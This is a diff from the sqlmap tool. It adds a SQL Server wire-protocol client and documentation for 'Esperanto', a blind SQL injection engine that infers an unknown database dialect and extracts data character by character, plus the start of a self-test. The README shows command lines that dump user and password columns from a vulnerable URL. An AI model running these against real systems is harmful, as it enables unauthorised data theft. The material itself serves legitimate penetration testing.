base += datetime.timedelta(minutes=offset)
|
||||
if t == 0x28:
|
||||
return "%s" % base.date()
|
||||
if t == 0x29:
|
||||
return "%s" % base.time() + frac
|
||||
s = "%s" % base + frac
|
||||
if offset is not None:
|
||||
sign, mins = ("+", offset) if offset >= 0 else ("-", -offset)
|
||||
s += " %s%02d:%02d" % (sign, mins // 60, mins % 60)
|
||||
return s
|
||||
|
||||
# SQL Server COLLATION -> Python codec. The 5-byte collation is a little-endian uint32 (low 20 bits = LCID)
|
||||
# plus a 1-byte sort id: a non-zero sort id fixes the code page, else the LCID does. Only single-byte / DBCS
|
||||
# code pages need a codec (NVARCHAR is UTF-16, handled separately). Derived from pytds; default cp1252 (the
|
||||
# stock SQL_Latin1_General code page - NOT latin-1, whose 0x80-0x9F differ, corrupting e.g. the euro sign).
|
||||
_LCID_CP = {
|
||||
0x405: "cp1250", 0x40e: "cp1250", 0x415: "cp1250", 0x418: "cp1250", 0x41a: "cp1250", 0x41b: "cp1250",
|
||||
0x41c: "cp1250", 0x424: "cp1250", 0x402: "cp1251", 0x419: "cp1251", 0x422: "cp1251", 0x423: "cp1251",
|
||||
0x42f: "cp1251", 0x408: "cp1253", 0x41f: "cp1254", 0x42c: "cp1254", 0x443: "cp1254", 0x40d: "cp1255",
|
||||
0x401: "cp1256", 0x420: "cp1256", 0x429: "cp1256", 0x425: "cp1257", 0x426: "cp1257", 0x427: "cp1257",
|
||||
0x42a: "cp1258", 0x41e: "cp874", 0x411: "cp932", 0x804: "cp936", 0x1004: "cp936", 0x412: "cp949",
|
||||
0x404: "cp950", 0xc04: "cp950", 0x1404: "cp950",
|
||||
}
|
||||
|
||||
def _sortid_cp(sid):
|
||||
if 30 <= sid <= 34:
|
||||
return "cp437"
|
||||
if 40 <= sid <= 44 or sid == 49 or 55 <= sid <= 61:
|
||||
return "cp850"
|
||||
if sid in (51, 52, 53, 54) or 183 <= sid <= 186:
|
||||
return "cp1252"
|
||||
if 80 <= sid <= 96:
|
||||
return "cp1250"
|
||||
if 104 <= sid <= 108:
|
||||
return "cp1251"
|
||||
if 112 <= sid <= 124:
|
||||
return "cp1253"
|
||||
if 128 <= sid <= 130:
|
||||
return "cp1254"
|
||||
if 136 <= sid <= 138:
|
||||
return "cp1255"
|
||||
if 144 <= sid <= 146:
|
||||
return "cp1256"
|
||||
if 152 <= sid <= 160:
|
||||
return "cp1257"
|
||||
return None
|
||||
|
||||
def _collation_codec(collation):
|
||||
if not collation or len(collation) < 5:
|
||||
return "cp1252"
|
||||
lump = struct.unpack("<I", collation[:4])[0]
|
||||
sid = bytearray(collation)[4]
|
||||
if sid:
|
||||
return _sortid_cp(sid) or "cp1252"
|
||||
return _LCID_CP.get(lump & 0xfffff, "cp1252")
|
||||
|
||||
def _decode_variant(body):
|
||||
# SQL_VARIANT value: base type (1) | property-bytes count (1) | type-specific metadata | value bytes
|
||||
b = bytearray(body)
|
||||
base, propbytes = b[0], b[1]
|
||||
meta, val = body[2:2 + propbytes], body[2 + propbytes:]
|
||||
if base == 0x30:
|
||||
return str(bytearray(val)[0])
|
||||
if base == 0x32:
|
||||
return "1" if bytearray(val)[0] else "0"
|
||||
if base == 0x34:
|
||||
return str(struct.unpack("<h", val)[0])
|
||||
if base == 0x38:
|
||||
return str(struct.unpack("<i", val)[0])
|
||||
if base == 0x7f:
|
||||
return str(struct.unpack("<q", val)[0])
|
||||
if base == 0x3b:
|
||||
return repr(struct.unpack("<f", val)[0])
|
||||
if base == 0x3e:
|
||||
return repr(struct.unpack("<d", val)[0])
|
||||
if base in (0x3c, 0x7a):
|
||||
return _decode_money(val)
|
||||
if base == 0x3d:
|
||||
return _decode_datetime(val)
|
||||
if base == 0x3a:
|
||||
return _decode_smalldatetime(val)
|
||||
if base == 0x24:
|
||||
return _decode_guid(val)
|
||||
if base in (0x6a, 0x6c): # decimal/numeric: metadata = precision, scale
|
||||
return _decode_numeric(val, bytearray(meta)[1])
|
||||
if base in (0xe7, 0xef):
|
||||
return val.decode("utf-16-le", "replace")
|
||||
if base in (0xa5, 0xad):
|
||||
return val # binary -> raw bytes
|
||||
if base in (0xa7, 0xaf): # (var)char: metadata = 5-byte collation + 2-byte max length
|
||||
return val.decode(_collation_codec(meta[:5]), "replace")
|
||||
if base == 0x28:
|
||||
return _decode_temporal(base, 0, val)
|
||||
if base in (0x29, 0x2a, 0x2b): # metadata = scale
|
||||
return _decode_temporal(base, bytearray(meta)[0], val)
|
||||
return "".join("%02x" % x for x in bytearray(val)) # unknown base type -> hex (never desyncs)
|
||||
|
||||
class _Column(object):
|
||||
__slots__ = ("name", "type", "size", "scale", "binary", "collation")
|
||||
|
||||
def _parse_type_info(data, off):
|
||||
col = _Column()
|
||||
col.type = _u8(data, off); off += 1
|
||||
col.size, col.scale, col.binary, col.collation = 0, 0, False, None
|
||||
t = col.type
|
||||
if t in (0x30, 0x32, 0x34, 0x38, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x7a, 0x7f, 0x1f):
|
||||
pass # fixed-length types, size implied by type
|
||||
elif t in (0x26, 0x68, 0x6d, 0x6e, 0x6f, 0x24): # INTN/BITN/FLTN/MONEYN/DATETIMN/GUID
|
||||
col.size = _u8(data, off); off += 1
|
||||
elif t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN/NUMERICN + legacy DECIMAL/NUMERIC (size, precision, scale)
|
||||
col.size = _u8(data, off); off += 1
|
||||
off += 1 # precision
|
||||
col.scale = _u8(data, off); off += 1
|
||||
elif t in (0xa7, 0xaf, 0xe7, 0xef): # (BIG)VARCHAR/CHAR, N(VAR)CHAR
|
||||
col.size = struct.unpack("<H", data[off:off + 2])[0]; off += 2
|
||||
col.collation = data[off:off + 5]; off += 5
|
||||
elif t in (0xa5, 0xad): # (BIG)VARBINARY / BINARY
|
||||
col.size = struct.unpack("<H", data[off:off + 2])[0]; off += 2
|
||||
col.binary = True
|
||||
elif t in (0x28, 0x29, 0x2a, 0x2b): # DATE/TIME/DATETIME2/DATETIMEOFFSET
|
||||
if t != 0x28:
|
||||
col.scale = _u8(data, off); off += 1
|
||||
elif t == 0xf0: # UDT (CLR geometry/geography/hierarchyid) - value arrives as PLP raw bytes
|
||||
off += 2 # max byte size
|
||||
for _ in range(3): # db, schema, type name: B_VARCHAR
|
||||
off += 1 + _u8(data, off) * 2
|
||||
off += 2 + struct.unpack("<H", data[off:off + 2])[0] * 2 # assembly-qualified name: US_VARCHAR
|
||||
col.binary = True
|
||||
elif t == 0xf1: # XML (value arrives PLP-encoded UTF-16, no size in TYPE_INFO)
|
||||
if _u8(data, off): # schema-present: B_VARCHAR dbname, B_VARCHAR owner, US_VARCHAR collection
|
||||
off += 1
|
||||
for _ in range(2):
|
||||
off += 1 + _u8(data, off) * 2
|
||||
off += 2 + struct.unpack("<H", data[off:off + 2])[0] * 2
|
||||
else:
|
||||
off += 1
|
||||
elif t == 0x62: # SQL_VARIANT (4-byte max length; per-value base type carried in the body)
|
||||
col.size = struct.unpack("<i", data[off:off + 4])[0]; off += 4
|
||||
elif t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE
|
||||
col.size = struct.unpack("<i", data[off:off + 4])[0]; off += 4
|
||||
if t in (0x23, 0x63):
|
||||
col.collation = data[off:off + 5]; off += 5
|
||||
col.binary = (t == 0x22)
|
||||
# table name (num parts + parts) follows in COLMETADATA for these; handled by caller via name read
|
||||
else:
|
||||
raise NotSupportedError("unsupported TDS column type 0x%02x" % t)
|
||||
return col, off
|
||||
|
||||
def _read_plp(data, off):
|
||||
# PLP (partially-length-prefixed) body: 8-byte total len (or 0xFF..FF NULL / 0xFF..FE unknown) then chunks
|
||||
total = struct.unpack("<Q", data[off:off + 8])[0]; off += 8
|
||||
if total == 0xffffffffffffffff:
|
||||
return None, off
|
||||
out = b""
|
||||
while True:
|
||||
(clen,) = struct.unpack("<I", data[off:off + 4]); off += 4
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[off:off + clen]; off += clen
|
||||
return out, off
|
||||
|
||||
def _decode_value(col, data, off):
|
||||
t = col.type
|
||||
# fixed-length
|
||||
if t == 0x1f:
|
||||
return None, off
|
||||
if t == 0x30:
|
||||
return str(_u8(data, off)), off + 1
|
||||
if t == 0x34:
|
||||
return str(struct.unpack("<h", data[off:off + 2])[0]), off + 2
|
||||
if t == 0x38:
|
||||
return str(struct.unpack("<i", data[off:off + 4])[0]), off + 4
|
||||
if t == 0x7f:
|
||||
return str(struct.unpack("<q", data[off:off + 8])[0]), off + 8
|
||||
if t == 0x32:
|
||||
return ("1" if _u8(data, off) else "0"), off + 1
|
||||
if t == 0x3b:
|
||||
return repr(struct.unpack("<f", data[off:off + 4])[0]), off + 4
|
||||
if t == 0x3e:
|
||||
return repr(struct.unpack("<d", data[off:off + 8])[0]), off + 8
|
||||
if t == 0x7a: # MONEY4 (4 bytes)
|
||||
return _decode_money(data[off:off + 4]), off + 4
|
||||
if t == 0x3c: # MONEY (8 bytes: high dword then low dword)
|
||||
return _decode_money(data[off:off + 8]), off + 8
|
||||
if t == 0x3d: # DATETIME (8 bytes)
|
||||
return _decode_datetime(data[off:off + 8]), off + 8
|
||||
if t == 0x3a: # DATETIM4 / smalldatetime (4 bytes)
|
||||
return _decode_smalldatetime(data[off:off + 4]), off + 4
|
||||
|
||||
# variable-length with a length prefix
|
||||
if t in (0xa7, 0xaf, 0xe7, 0xef, 0xa5, 0xad):
|
||||
if col.size == 0xffff: # MAX types use PLP
|
||||
raw, off = _read_plp(data, off)
|
||||
else:
|
||||
(n,) = struct.unpack("<H", data[off:off + 2]); off += 2
|
||||
if n == 0xffff:
|
||||
return None, off
|
||||
raw, off = data[off:off + n], off + n
|
||||
if raw is None:
|
||||
return None, off
|
||||
if t in (0xa5, 0xad):
|
||||
return raw, off # binary -> raw bytes
|
||||
if t in (0xe7, 0xef):
|
||||
return raw.decode("utf-16-le", "replace"), off
|
||||
return raw.decode(_collation_codec(col.collation), "replace"), off # (var)char: the collation's code page
|
||||
|
||||
if t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE: 1-byte textptr len (0 = NULL) then textptr+timestamp then 4-byte len
|
||||
ptr_len = _u8(data, off); off += 1
|
||||
if ptr_len == 0:
|
||||
return None, off
|
||||
off += ptr_len + 8
|
||||
(n,) = struct.unpack("<i", data[off:off + 4]); off += 4
|
||||
raw, off = data[off:off + n], off + n
|
||||
if t == 0x22:
|
||||
return raw, off
|
||||
if t == 0x63:
|
||||
return raw.decode("utf-16-le", "replace"), off
|
||||
return raw.decode(_collation_codec(col.collation), "replace"), off # TEXT: the collation's code page
|
||||
|
||||
if t == 0xf1: # XML: PLP-encoded UTF-16-LE
|
||||
raw, off = _read_plp(data, off)
|
||||
return (raw.decode("utf-16-le", "replace") if raw is not None else None), off
|
||||
|
||||
if t == 0xf0: # UDT (geometry/geography/hierarchyid): PLP raw bytes -> sqlmap hex-encodes them
|
||||
return _read_plp(data, off)
|
||||
|
||||
if t == 0x62: # SQL_VARIANT: 4-byte total length (0 = NULL) then a self-describing value body
|
||||
(total,) = struct.unpack("<i", data[off:off + 4]); off += 4
|
||||
if total <= 0:
|
||||
return None, off
|
||||
body, off = data[off:off + total], off + total
|
||||
return _decode_variant(body), off
|
||||
|
||||
# nullable / length-prefixed numeric & misc
|
||||
(n,) = struct.unpack("<B", data[off:off + 1]); off += 1
|
||||
if n == 0:
|
||||
return None, off
|
||||
raw, off = data[off:off + n], off + n
|
||||
if t == 0x26: # INTN (size 1 is unsigned tinyint; 2/4/8 are signed)
|
||||
return str(struct.unpack({1: "<B", 2: "<h", 4: "<i", 8: "<q"}[n], raw)[0]), off
|
||||
if t == 0x68: # BITN
|
||||
return ("1" if bytearray(raw)[0] else "0"), off
|
||||
if t == 0x6d: # FLTN
|
||||
return repr(struct.unpack("<f" if n == 4 else "<d", raw)[0]), off
|
||||
if t in (0x6e, 0x3d, 0x7a): # MONEYN / MONEY / MONEY4
|
||||
return _decode_money(raw), off
|
||||
if t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN / NUMERICN (+ legacy DECIMAL / NUMERIC)
|
||||
return _decode_numeric(raw, col.scale), off
|
||||
if t == 0x24: # GUID
|
||||
return _decode_guid(raw), off
|
||||
if t == 0x6f: # DATETIMN (n=8 datetime, n=4 smalldatetime)
|
||||
return (_decode_datetime(raw) if n == 8 else _decode_smalldatetime(raw)), off
|
||||
if t in (0x28, 0x29, 0x2a, 0x2b): # DATE / TIME / DATETIME2 / DATETIMEOFFSET
|
||||
return _decode_temporal(t, col.scale, raw), off
|
||||
# unknown layout: return the raw hex as a last resort (never desyncs)
|
||||
return "".join("%02x" % x for x in bytearray(raw)), off
|
||||
|
||||
def _parse_tokens(sock, login=False):
|
||||
data = _read_message(sock)
|
||||
off, columns, rows, description, error = 0, [], [], None, None
|
||||
while off < len(data):
|
||||
token = _u8(data, off); off += 1
|
||||
if token == 0x81: # COLMETADATA (a new result set: drop any prior rows so only the last is returned)
|
||||
(count,) = struct.unpack("<H", data[off:off + 2]); off += 2
|
||||
columns, rows = [], []
|
||||
if count == 0xffff:
|
||||
continue
|
||||
for _ in range(count):
|
||||
off += 4 # user type
|
||||
off += 2 # flags
|
||||
col, off = _parse_type_info(data, off)
|
||||
if col.type in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE carry a table name before the col name
|
||||
(numparts,) = struct.unpack("<B", data[off:off + 1]); off += 1
|
||||
for _ in range(numparts):
|
||||
(plen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + plen * 2
|
||||
col.name, off = _read_us_varchar(data, off)
|
||||
columns.append(col)
|
||||
description = [(c.name, c.type, None, None, None, None, None) for c in columns]
|
||||
elif token == 0xd1: # ROW
|
||||
row = []
|
||||
for col in columns:
|
||||
value, off = _decode_value(col, data, off)
|
||||
row.append(value)
|
||||
rows.append(tuple(row))
|
||||
elif token == 0xd2: # NBCROW (null-bitmap compressed)
|
||||
nbc_len = (len(columns) + 7) // 8
|
||||
bitmap = bytearray(data[off:off + nbc_len]); off += nbc_len
|
||||
row = []
|
||||
for i, col in enumerate(columns):
|
||||
if bitmap[i // 8] & (1 << (i % 8)):
|
||||
row.append(None)
|
||||
else:
|
||||
value, off = _decode_value(col, data, off)
|
||||
row.append(value)
|
||||
rows.append(tuple(row))
|
||||
elif token == 0xaa: # ERROR
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2
|
||||
msg_off = off + 4 + 1 + 1 # number(4) state(1) class(1)
|
||||
(mlen,) = struct.unpack("<H", data[msg_off:msg_off + 2])
|
||||
error = data[msg_off + 2:msg_off + 2 + mlen * 2].decode("utf-16-le", "replace")
|
||||
off += tlen
|
||||
elif token == 0xab: # INFO
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token == 0xad: # LOGINACK
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token == 0xe3: # ENVCHANGE
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token == 0x79: # RETURNSTATUS
|
||||
off += 4
|
||||
elif token == 0xa9: # ORDER
|
||||
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
|
||||
elif token in (0xfd, 0xfe, 0xff): # DONE / DONEPROC / DONEINPROC
|
||||
off += 12
|
||||
else:
|
||||
raise InterfaceError("unexpected TDS token 0x%02x" % token)
|
||||
|
||||
if error is not None:
|
||||
if login:
|
||||
raise OperationalError("(remote) %s" % error)
|
||||
raise ProgrammingError("(remote) %s" % error)
|
||||
return description, rows
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # sqlmap issues autonomous statements; SET IMPLICIT_TRANSACTIONS is off by default
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _query(self, query):
|
||||
# TDS 7.2+ SQL batch must be prefixed with ALL_HEADERS carrying the transaction descriptor header
|
||||
headers = struct.pack("<I", 22) + struct.pack("<I", 18) + struct.pack("<H", 2) + struct.pack("<Q", 0) + struct.pack("<I", 1)
|
||||
_send_message(self._sock, _PKT_SQL_BATCH, headers + query.encode("utf-16-le"))
|
||||
try:
|
||||
return _parse_tokens(self._sock)
|
||||
except (struct.error, IndexError, ValueError, KeyError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def connect(host=None, port=1433, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 1433)), timeout=connect_timeout)
|
||||
sock.settimeout(None)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
try:
|
||||
_prelogin(sock)
|
||||
_login7(sock, user, password, database)
|
||||
except (DatabaseError, InterfaceError):
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise
|
||||
except Exception as ex:
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
raise OperationalError("TDS login failed (%s)" % ex)
|
||||
|
||||
return Connection(sock)
|
||||
@@ -0,0 +1,148 @@
|
||||
# Esperanto
|
||||
|
||||
A DBMS-agnostic blind-extraction engine that speaks one "esperanto" at any SQL back-end, driven by
|
||||
nothing but a boolean oracle.
|
||||
|
||||
## What this is
|
||||
|
||||
Ordinary blind SQL injection retrieval needs to know the back-end first: sqlmap fingerprints the
|
||||
DBMS, loads that dialect's `queries.xml` row, and extracts with it. When the DBMS cannot be
|
||||
identified - an unknown or heavily-firewalled target, an exotic engine, a fork that answers unlike
|
||||
its parent - that pipeline dead-ends.
|
||||
|
||||
Esperanto removes the prerequisite. Given only a **boolean oracle** - a callable
|
||||
`oracle(condition) -> bool` that reports whether an arbitrary SQL boolean expression holds at the
|
||||
target - it discovers the dialect from scratch (string concatenation, substring / length /
|
||||
character-code functions, the usable comparison operator, the catalog surface) and then extracts
|
||||
data character-by-character, without ever being told which DBMS is on the other end.
|
||||
|
||||
The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all
|
||||
supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge
|
||||
as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap
|
||||
imports) and runs unmodified on Python 2.7 and Python 3.
|
||||
|
||||
## Usage
|
||||
|
||||
Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual,
|
||||
then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request /
|
||||
comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against
|
||||
an unidentified back-end:
|
||||
|
||||
```
|
||||
python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users
|
||||
```
|
||||
|
||||
Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`):
|
||||
|
||||
```
|
||||
python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users
|
||||
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --dump -T users -C uname,pass
|
||||
python run.py --self-test
|
||||
```
|
||||
|
||||
The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end
|
||||
of the URL. The true/false oracle is taken from `--string` / `--code`, or
|
||||
auto-calibrated from the response when none is given.
|
||||
|
||||
## How it works
|
||||
|
||||
Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and
|
||||
keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that
|
||||
filters - one form falls through to the next rather than failing:
|
||||
|
||||
| Primitive | Ladder (first that works wins) |
|
||||
|------------------|--------------------------------|
|
||||
| Concatenation | `\|\|`, `CONCAT()`, `+`, `&` |
|
||||
| Substring | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition |
|
||||
| Length | a length function, else derived from the substring's end |
|
||||
| Character read | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan |
|
||||
| Comparison | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` |
|
||||
| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching |
|
||||
|
||||
Each candidate is accepted only against a semantic check (for example, the comparison ladder is
|
||||
validated across a signed truth table, not two positive samples), so a rewriting layer that turns
|
||||
`>` into `>=` is rejected rather than silently mis-reading every count and length.
|
||||
|
||||
Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and
|
||||
version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset
|
||||
(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a
|
||||
discovered primary/unique key, else a physical row-id, else the row's own value.
|
||||
|
||||
## Interface
|
||||
|
||||
```python
|
||||
from extra.esperanto import Esperanto
|
||||
|
||||
esp = Esperanto(oracle) # oracle(condition_str) -> bool
|
||||
esp.discover() # ladder out the dialect
|
||||
esp.identify() # best-guess product + evidence
|
||||
esp.extract("(SELECT ...)") # one scalar, char-by-char
|
||||
esp.dump("users", schema="app") # {columns, rows, complete, exact, keyed_by}
|
||||
esp.enumerate("table") # keyset catalog walk
|
||||
```
|
||||
|
||||
- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a
|
||||
transport or observation failure must raise (or return a non-boolean), which the engine treats as
|
||||
*undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be
|
||||
reported as `False` by the oracle itself.
|
||||
- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's
|
||||
enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the
|
||||
package stays dependency-free.
|
||||
- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*`
|
||||
methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only
|
||||
a strategy plus an oracle.
|
||||
|
||||
## Integrity model
|
||||
|
||||
Every recovered value carries an `Integrity` classification so a caller can tell "we visited every
|
||||
position" apart from "the bytes are provably the source's":
|
||||
|
||||
| State | Meaning |
|
||||
|-----------------------|---------|
|
||||
| `EXACT` | proven byte-identical to the source (or a proven `NULL`) |
|
||||
| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) |
|
||||
| `TRUNCATED` | a bounded prefix; the source continues |
|
||||
| `UNRESOLVED` | a character could not be recovered |
|
||||
| `FAILED` | could not observe or verify |
|
||||
|
||||
The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe,
|
||||
never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports
|
||||
a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values
|
||||
are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value.
|
||||
|
||||
## Scope and limitations
|
||||
|
||||
This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for
|
||||
sqlmap's native retrieval. Known boundaries:
|
||||
|
||||
- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the
|
||||
information theory of a boolean oracle (about one bit per request) and by network latency. It is
|
||||
built for reach, not speed.
|
||||
- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully
|
||||
separated, backend-aware qualification (for example SQL Server `database.schema.table` via a
|
||||
`sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort.
|
||||
- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a
|
||||
codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too),
|
||||
resolving the common cases definitively. A column whose character set differs from the database
|
||||
default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather
|
||||
than asserted.
|
||||
- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character
|
||||
comparison modes under an ordered comparator; they do not yet drive the pattern-only or
|
||||
membership-only modes, and the frozen field set does not yet carry every discovered semantic.
|
||||
|
||||
Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting
|
||||
it as trustworthy.
|
||||
|
||||
## Self-test
|
||||
|
||||
```
|
||||
python run.py --self-test
|
||||
```
|
||||
|
||||
runs the engine against an in-memory SQLite oracle across every compare mode plus identification,
|
||||
byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen
|
||||
strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`.
|
||||
|
||||
---
|
||||
|
||||
Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.
|
||||
@@ -0,0 +1,30 @@
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
esperanto - a DBMS-agnostic SQL poking prototype.
|
||||
|
||||
Given only a boolean oracle - a callable oracle(condition) -> bool that reports
|
||||
whether an arbitrary SQL boolean expression holds at the target - this discovers
|
||||
the target's SQL dialect from scratch (concatenation operator, substring / length
|
||||
/ char-code functions, string comparison, catalog surface) and then extracts data
|
||||
char-by-char WITHOUT ever being told which DBMS is on the other end.
|
||||
|
||||
The candidate variants below are harvested from sqlmap's own data/xml/queries.xml
|
||||
across all 31 supported DBMSes - the point is to reuse that accumulated knowledge
|
||||
as a single "esperanto" the tool speaks at any backend, rather than fingerprinting
|
||||
first and loading one dialect.
|
||||
|
||||
This is a self-contained research prototype (no sqlmap imports); run it directly
|
||||
for a built-in self-test against an in-memory SQLite oracle.
|
||||
"""
|
||||
|
||||
__version__ = "1.0.0"
|
||||
|
||||
from .engine import Esperanto
|
||||
from .engine import hostExtract
|
||||
from .handler import buildHandler
|
||||
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity
|
||||
from .records import OracleUndecided, QueryBudgetExceeded
|
||||
|
||||
__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded", "__version__"]
|
||||
@@ -0,0 +1,755 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from . import __version__
|
||||
from .atlas import _REPL
|
||||
from .engine import Esperanto, hostExtract
|
||||
from .records import (
|
||||
OracleUndecided, ExtractResult, QueryBudgetExceeded)
|
||||
|
||||
_SITE = "https://sqlmap.org"
|
||||
|
||||
# ratio-mode confidence margin: if the true/false similarity scores are within this of each
|
||||
# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing.
|
||||
_RATIO_MARGIN = 0.05
|
||||
|
||||
|
||||
def _sqliteOracle(block=None):
|
||||
"""In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober).
|
||||
`block` is a regex of constructs to refuse, used to force fallback modes."""
|
||||
import re as _re
|
||||
import sqlite3
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
|
||||
con.execute("INSERT INTO users VALUES (1, 'Admin-42')")
|
||||
con.commit()
|
||||
pat = _re.compile(block) if block else None
|
||||
|
||||
def oracle(condition):
|
||||
if pat and pat.search(condition):
|
||||
return False
|
||||
try:
|
||||
cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition)
|
||||
return cur.fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
# unsupported/rejected SQL is a valid negative capability result; only
|
||||
# transport/observation failures are allowed to raise (oracle contract)
|
||||
return False
|
||||
|
||||
return oracle
|
||||
|
||||
|
||||
def _selftest():
|
||||
# exercise every compare mode against one byte-ordered, case-sensitive backend
|
||||
# (SQLite) by selectively refusing constructs - proves each extraction path
|
||||
code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\("
|
||||
coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW"
|
||||
hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR"
|
||||
modes = (
|
||||
("code", None),
|
||||
("collation", r"(?i)(%s)" % code),
|
||||
("hex", r"(?i)(%s|%s)" % (code, coll)),
|
||||
("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)),
|
||||
)
|
||||
for expected, block in modes:
|
||||
esp = Esperanto(_sqliteOracle(block=block))
|
||||
dialect = esp.discover()
|
||||
